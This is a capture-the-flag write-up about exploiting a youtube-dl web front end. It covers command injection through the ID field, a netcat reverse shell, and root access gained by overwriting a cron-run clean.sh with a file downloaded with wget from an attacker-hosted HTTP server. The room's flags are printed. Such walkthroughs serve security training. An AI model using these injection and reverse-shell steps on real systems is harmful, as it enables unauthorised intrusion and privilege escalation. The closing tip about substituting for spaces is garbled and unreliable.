The website takes an input for a YouTube ID. Supplying nothing shows the website is using youtube-dl. Checking the JavaScript for the website in main.js shows that the input is being concatenated to the base YouTube URL.
Using the input --;id; shows that the website is vulnerable to command injection.
{
"status": 127,
"errors": "WARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nUsage: youtube-dl [OPTIONS] URL [URL...]\n\nyoutube-dl: error: You must provide at least one URL.\nType youtube-dl --help to see a list of all options.\nsh: 1: -f: not found\n",
"url_orginal": "--;id;",
"output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n",
"result_url": "/tmp/downloads/6444366a5e64a.mp3"
}
A Python reverse shell can be used to get in as www-data.
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.6.xx.xx] from (UNKNOWN) [10.10.xx.xx] 43554
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls
ls
admin images index.php js style.css tmp
Checking the admin directory:
ls admin -a
. .. .htaccess .htpasswd flag.txt index.php
The flag is flag{0d8486a0c0c42503bb60ac77f4046ed7}.
System Own
What is the root flag?
Inside tmp is a file called clean.sh. Replacing the contents of clean.sh with a reverse shell will eventually get you in as root, as root runs this file periodically to remove all download files.
Terminal 1
python3 -m http.server 80
Terminal 2
wget http://10.6.xx.xx/clean.sh -O clean.sh
--2023-04-22 20:00:08-- http://10.6.xx.xx/clean.sh
Connecting to 10.6.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 49 [text/x-sh]
Saving to: 'clean.sh'
clean.sh 100%[===================>] 49 --.-KB/s in 0s
2023-04-22 20:00:09 (8.09 MB/s) - 'clean.sh' saved [49/49]
Terminal 3
nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.6.xx.xx] from (UNKNOWN) [10.10.xx.xx] 54788
mesg: ttyname failed: Inappropriate ioctl for device
cat /root/root.txt
flag{d9b368018e912b541a4eb68399c5e94a}
The root flag inside /root/root.txt is flag{d9b368018e912b541a4eb68399c5e94a}.
And that's the room!
Note: Spaces invalidate any command, so the string can be used as a substitute for a space.